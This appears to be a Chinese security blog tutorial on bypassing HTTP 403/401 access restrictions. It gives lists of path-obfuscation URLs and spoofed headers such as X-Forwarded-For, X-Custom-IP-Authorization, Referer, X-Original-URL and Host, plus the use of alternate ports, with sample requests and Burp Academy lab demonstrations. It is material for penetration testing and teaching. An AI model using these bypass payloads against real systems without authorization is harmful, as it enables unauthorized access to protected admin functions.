403 forbidden绕过

403bypass burp插件:

https://github.com/sting8k/BurpSuite_403Bypasser

403 forbidden 绕过技巧

扩展名/uri 混淆

site.com/admin => 403

site.com/admin/ => 200
site.com/random-dir/../admin => 200
site.com/random-dir/..;/admin => 200
site.com/random-dir/..%252F/admin => 200
site.com/admin// => 200
site.com//admin// => 200
site.com/admin/* => 200
site.com/admin/*/ => 200
site.com/admin/. => 200
site.com/admin/./ => 200

site.com/./admin/./ => 200
site.com/admin/./. => 200
site.com/admin/./. => 200
site.com/admin? => 200
site.com/admin?? => 200
site.com/admin??? => 200
site.com/admin..;/ => 200
site.com/admin/..;/ => 200
site.com/%2f/admin => 200
site.com/%2e/admin => 200
site.com/admin%20/ => 200
site.com/admin%09/ => 200
site.com/%20admin%20/ => 200
site.com/%0dadmin => 200

代理IP

一般开发者会通过 Nginx 代理识别访问端 IP 限制对接口的访问,尝试使用 X-Forwarded-For、X-Forwared-Host 等标头绕过 Web 服务器的限制。

- X-Originating-IP: 127.0.0.1
- X-Remote-IP: 127.0.0.1
- X-Client-IP: 127.0.0.1
- X-Forwarded-For: 127.0.0.1
- X-Forwared-Host: 127.0.0.1
- X-Host: 127.0.0.1
- X-Custom-IP-Authorization: 127.0.0.1

示例:

Request
GET /auth/login HTTP/1.1
Response
HTTP/1.1 401 Unauthorized


Reqeust
GET /auth/login HTTP/1.1
X-Custom-IP-Authorization: 127.0.0.1
Response
HTTP/1.1 200 OK

Referer 标头绕过

尝试使用 Referer 标头绕过 Web 服务器的限制。

介绍:Referer 请求头包含了当前请求页面的来源页面的地址,即表示当前页面是通过此来源页面里的链接进入的。服务端一般使用 Referer 请求头识别访问来源。

示例:

Request
GET /auth/login HTTP/1.1
Host: xxx
Response
HTTP/1.1 403 Forbidden

Reqeust
GET / HTTP/1.1
Host: xxx
ReFerer:https://xxx/auth/login
Response
HTTP/1.1 200 OK

or

Reqeust
GET /auth/login HTTP/1.1
Host: xxx
ReFerer:https://xxx/auth/login
Response
HTTP/1.1 200 OK

Burp 学院实验室进行演示,使用非管理员凭据登录后,浏览 /admin-roles?username=carlos&action=upgrade 服务端返回 401 未进行认证,无权限访问。

image-20220308172812772

在 Header 头中添加 Referer 标头,服务端提示 302 表示请求成功,使用 Referer 标头绕过 Web 服务器的限制。

image-20220308172833255

覆盖请求 URL

尝试使用 X-Original-URL 和 X-Rewrite-URL 标头绕过 Web 服务器的限制。

介绍:通过支持 X-Original-URL 和 X-Rewrite-URL 标头,用户可以使用 X-Original-URL 或 X-Rewrite-URL HTTP 请求标头覆盖请求 URL 中的路径,尝试绕过对更高级别的缓存和 Web 服务器的限制。

示例:

Request
  GET /auth/login HTTP/1.1
  Response
  HTTP/1.1 403 Forbidden

Reqeust
  GET / HTTP/1.1
  X-Original-URL: /auth/login
  Response
  HTTP/1.1 200 OK

or

Reqeust
  GET / HTTP/1.1
  X-Rewrite-URL: /auth/login
  Response
  HTTP/1.1 200 OK

Burp 学院实验室进行演示,首先普通用户访问 admin 页面会被限制,要使用 admin 用户登录才行。点击 管理面板(Admin panel)burp 抓包查看,服务端返回 403,”Access denied” 禁止访问。

image-20220308172658373

在 Header 头中添加 X-Original-URL 标头,发现已经有权限可以删除 Administrator、carlos、wiener 帐号的管理员权限。

image-20220308173147076

修改 HOST

我们先说下 Host 在请求头中的作用,在一般情况下,几个网站可能会部署在同一个服务器上,或者几个 web 系统共享一个服务器,通过 host 头来指定应该由哪个网站或者 web 系统来处理用户的请求。

而很多 WEB 应用通过获取 HTTP HOST 头来获得当前请求访问的位置,但是很多开发人员并未意识到 HTTP HOST 头由用户控制,从安全角度来讲,任何用户输入都是认为不安全的。

当服务器获取 HOST 的方式不当时,我们可以通过修改 Host 值来进行绕过。首先对该目标域名进行子域名收集,整理好子域名资产(host 字段同样支持 IP 地址)。先 Fuzz 测试跑一遍收集到的子域名,这里使用的是 Burp 的 Intruder 功能。

image-20220308173734440

往往成功也离不开运气,看到一个服务端返回 200 的状态码。成功找到一个在 HOST 白名单中的子域名。我们利用 firefox 插件来修改 HOST 值,成功绕过访问限制。

image-20220308173757919

端口利用

iamadmixxx.xxx.xxx:80/auth/login 403 forbidden

端口信息收集,利用 nmap 进行全端口探测,发现除了 80 端口之外,还开放了一个 web 服务的 8001 端口,我们尝试使用 8001 端口访问 (xxx.xxxx.com:8001) ,总是充满惊喜。可直接绕过 IP 限制进行访问。

iamadmixxx.xxx.xxx:8001/auth/login

image-20220308174056987

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值